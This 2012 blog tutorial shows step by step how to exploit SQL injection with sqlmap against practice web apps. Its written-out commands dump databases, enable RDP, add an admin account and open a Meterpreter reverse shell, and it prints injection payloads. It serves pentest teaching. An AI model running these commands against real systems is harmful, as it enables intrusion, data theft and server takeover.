Monday, October 8, 2012

SQL Injection made simple

SQL injection has been ruling the OWASP top ten for many years. It is the most powerful and feared vulnerability among all. It is "THE BAAP" of all living vulnerabilities found till date, thus finding it and further exploiting it becomes a challenge sometimes. There are zillions of ways to identify but some times exploiting the right way becomes a challenge for a pentester.
Here is an easy method for beginners to expert level for sql exploitation using my favorite tool SqlMap.
SqlMap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections

SQL injection attacks are the one in which SQL commands are injected into data-plane in order to affect the execution of predefined SQL statements.

SQL injection can lead into :

a) DBMS data manipulation
b) File system read and write access
c) Operating system control

SQLMAP- http://sqlmap.courceforge.net

INTRO>>            An open source command-line tool
                          Detects and exploits SQL injection flaws in Web applications
                          Developed in Python -july 2006

           

KEY FEATURES>>    Full support for MySQL,PostgreSQL,Oracle,MSSQL


TECHNIQUES>>           Boolean-based blind
                                    Union query
                                    stacked(batched) query
               
It does an extensive back-end DBMS fingerprint, Enumerates users, passwords, databases, tables, and columns.

Disclaimer: Please do not test it on any live website without prior permission of the website owner. The author assumes no liability and is not responsible for any damage caused. I recommend hosting Mutillidae/Webgoat/DVWA on a virtual machine to practice (I have used Mutillidae to explain beginner level exploitation (more info on Mutillidae could be found here)  for advance level i have used a custom made web application designed by our team *webmart(aspx/mssql) )


Prerequistes>> Backtrack5 (www.backtrack-linux.org)



Here we go!!


One of my favorite combination of commands to start with!


a) python sqlmap.py -u "http://abc/mutillidae/index.php?page=login.php" --level=3 --forms --batch --banner --flush-session


This would fetch you many things like the back-end Database, banner grab, and it will also do a form search on the page and see if any of the parameter are injectable. As shown below the database is MySQL 5.0, the parameter username is injectable and the platform is php 5.3.3 on Apache 2.2.16. Woooaaa! tats a lot of info on first run.







b) python sqlmap.py -u "http://abc/mutillidae/index.php" --level=3  --data="username=test&password=test&login-php-submit-button=Login" --flush-session --tables --dbs --batch


Here we are providing the POST data (username=test&password=test&login-php-submit-button=Login) and telling sqlmap to enumerate all the table entries and use the default behavior without asking user input. The current user running is  'root@localhost'. Here we have a lot of info to understand the back-end of the application.


Few more ways for to dump database.


python sqlmap.py -u "http://abc/mutillidae/index.php" --level=3  --data="username=test&password=test&login-php-submit-button=Login" --flush-session --tables --dump-all -D "database to enumerate" --batch





Enumerate table Columns:

python sqlmap.py -u "http://abc/mutillidae/index.php" --level=3  --data="username=test&password=test&login-php-submit-button=Login" --flush-session -D "database to enumerate" -T "table name" --columns --batch

Now if the column names are not common enough to enumerate then brute forcing is a better option. For a brute force check:

python sqlmap.py -u "http://abc/mutillidae/index.php" --level=3  --data="username=test&password=test&login-php-submit-button=Login" --flush-session -D "database to enumerate" -T "table name" --common-tables --common-columns --batch

These are some of the easy ways to do SQL injection. Now raising the bar a little high we will try exploiting a Windows system running MSSQL 2005. Here sqlmap first uploads a dynamic-linked library (DLL) used afterwards to create two user-defined functions (sys_exec() and sys_bineval()) in the database it also uses a stored procedure (xm_cmdshell) to further exploit. This is a built in stored procedure to execute commands used by MSSQL, it is enabled by default in MSSQL 2000, and for 2005 and 2008 it is disabled by default. This procedure can be also  re-enabled if the current session user is a member of sysadmin role. sp_configure stored procedure can be used to re-enable it [works fine on MSSQL 2005/08]


Here our final aim is to own the windows box hosting a webapplication (webmart) [aspx/mssql] but before that we will try doing some very awesome things with sqlmap.



Check If remote system has RDP enabled:


python sqlmap.py -u "http://abc/login.aspx" --data="__VIEWSTATE=/wEPDwUKMTAzMzQwOTkyOWRkVdcJb5TdgCbpISe88HswBmnhXq4=&username=test&password=test&Login=Login" --reg-read --reg-key="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" --reg-value=fDenyTSConnections --batch

If the output is a 0 then it is enabled if its 1 then its not. If its 1 then we can enable RDP remotely using sqlmap!


Enabling RDP using Sqlmap:

python sqlmap.py -u "http://abc/login.aspx" --data="__VIEWSTATE=/wEPDwUKMTAzMzQwOTkyOWRkVdcJb5TdgCbpISe88HswBmnhXq4=&username=test&password=test&Login=Login --reg-add --reg-key="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" --reg-value=fDenyTSConnections --reg-type=DWORD --reg-data=0 --batch


Create Users on the system using Operating system commands:

 python sqlmap.py -u "http://abc/login.aspx" --data="__VIEWSTATE=/wEPDwUKMTAzMzQwOTkyOWRkVdcJb5TdgCbpISe88HswBmnhXq4=&username=test&password=test&Login=Login" --os-cmd="net user newadmin test /add" --batch

 And finally to Pwn the remote system we will use (--os-pwn)


 python sqlmap.py -u "http://abc/login.aspx" --data="__VIEWSTATE=/wEPDwUKMTAzMzQwOTkyOWRkVdcJb5TdgCbpISe88HswBmnhXq4=&username=test&password=test&Login=Login" --os-pwn --batch


 Output:


sqlmap/1.0-dev-cc3f387 - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual  consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program


[*] starting at 17:44:12


[17:44:13] [WARNING] you did not provide the local path where Metasploit Framework is installed

[17:44:13] [WARNING] sqlmap is going to look for Metasploit Framework installation into the environment paths
[17:44:13] [INFO] Metasploit Framework has been found installed in the '/usr/local/bin' path
[17:44:13] [INFO] resuming back-end DBMS 'microsoft sql server'
[17:44:13] [INFO] testing connection to the target url
[17:44:13] [INFO] sqlmap got a 302 redirect to 'http://abc:80/Errorpage.aspx'. Do you want to follow? [Y/n] Y
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: username
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: __VIEWSTATE=/wEPDwUKMTAzMzQwOTkyOWRkVdcJb5TdgCbpISe88HswBmnhXq4=&us                                              ername=test' AND 2076=CONVERT(INT,(CHAR(58)+CHAR(114)+CHAR(113)+CHAR(121)+CHAR(5                                              8)+(SELECT (CASE WHEN (2076=2076) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHA                                              R(99)+CHAR(106)+CHAR(112)+CHAR(58))) AND 'sdFw'='sdFw&password=test&Login=Login

    Type: UNION query

    Title: Generic UNION query (NULL) - 13 columns
    Payload: __VIEWSTATE=/wEPDwUKMTAzMzQwOTkyOWRkVdcJb5TdgCbpISe88HswBmnhXq4=&us                                              ername=-7964' UNION ALL SELECT CHAR(58)+CHAR(114)+CHAR(113)+CHAR(121)+CHAR(58)+C                                              HAR(73)+CHAR(121)+CHAR(81)+CHAR(121)+CHAR(109)+CHAR(103)+CHAR(90)+CHAR(89)+CHAR(                                              110)+CHAR(79)+CHAR(58)+CHAR(99)+CHAR(106)+CHAR(112)+CHAR(58),NULL,NULL,NULL,NULL                                              ,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &password=test&Login=Login

    Type: stacked queries

    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: __VIEWSTATE=/wEPDwUKMTAzMzQwOTkyOWRkVdcJb5TdgCbpISe88HswBmnhXq4=&us                                              ername=test'; WAITFOR DELAY '0:0:5'--&password=test&Login=Login

    Type: AND/OR time-based blind

    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: __VIEWSTATE=/wEPDwUKMTAzMzQwOTkyOWRkVdcJb5TdgCbpISe88HswBmnhXq4=&us                                              ername=test' WAITFOR DELAY '0:0:5'--&password=test&Login=Login
---
[17:44:13] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[17:44:13] [INFO] how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
> 1
[17:44:13] [INFO] testing if current user is DBA
[17:44:13] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please wait..
[17:44:16] [WARNING] it is very important not to stress the network adapter's bandwidth during usage of time-based queries
[17:44:17] [INFO] testing if xp_cmdshell extended procedure is usable
[17:44:44] [INFO] heuristics detected web page charset 'ISO-8859-2'
[17:44:44] [INFO] the SQL query used returns 8 entries
[17:44:44] [INFO] retrieved: " "
[17:44:44] [INFO] retrieved: "1"
[17:44:44] [INFO] retrieved: "1"
[17:44:44] [INFO] retrieved: "1"
[17:44:44] [INFO] retrieved: "1"
[17:44:45] [INFO] xp_cmdshell extended procedure is usable
[17:44:45] [INFO] creating Metasploit Framework multi-stage shellcode
[17:44:45] [INFO] which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535
[3] Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP
[4] Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS
[5] Bind TCP: Listen on the database host for a connection
> 1
[17:44:45] [INFO] which is the local address? [xyz]
[17:44:45] [INFO] which local port number do you want to use? [37597] 37597
[17:44:45] [INFO] which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
> 1
[17:44:45] [INFO] creation in progress .................................................................... done
[17:45:54] [INFO] uploading shellcodeexec to 'C:/Windows/Temp/shellcodeexec.x32.exe'
[17:45:54] [INFO] using a custom visual basic script to write the binary file content to file 'C:\Windows\Temp\shellcodeexec.x32.exe', please wait..
[17:46:07] [INFO] do you want confirmation that the file 'C:\Windows\Temp\shellcodeexec.x32.exe' has been successfully written on the back-end DBMS file system? [Y/n] Y
[17:46:07] [INFO] the file has been successfully written and its size is 6656 bytes, same size as the local file '/pentest/database/sqlmap/extra/shellcodeexec/windows/shellcodeexec.x32.exe'
[17:46:08] [INFO] running Metasploit Framework command line interface locally, please wait..
[*] The initial module cache will be built in the background, this can take 2-5 minutes...

     ,           ,

    /             \
   ((__---,,,---__))
      (_) O O (_)_________
         \ _ /            |\
          o_o \   M S F   | \
               \   _____  |  *
                |||   WW|||
                |||     |||


       =[ metasploit v4.5.0-dev [core:4.5 api:1.0]

+ -- --=[ 939 exploits - 501 auxiliary - 151 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops
       =[ svn r15798 updated 36 days ago (2012.08.30)

Warning: This copy of the Metasploit Framework was last updated 36 days ago.

         We recommend that you update the framework at least every other day.
         For information on updating your copy of Metasploit, please see:
             https://community.rapid7.com/docs/DOC-1306

PAYLOAD => windows/meterpreter/reverse_tcp

EXITFUNC => process
LPORT => 37597
LHOST => xyz
[*] Started reverse handler on xyz:37597
[*] Starting the payload handler...
[17:46:49] [INFO] running Metasploit Framework shellcode remotely via shellcodeexec, please wait..
[*] Sending stage (764928 bytes) to xyz
[*] Meterpreter session 1 opened (xyz:37597 -> abc:4189) at 2012-10-05 17:46:57 +0530

meterpreter >








2 comments :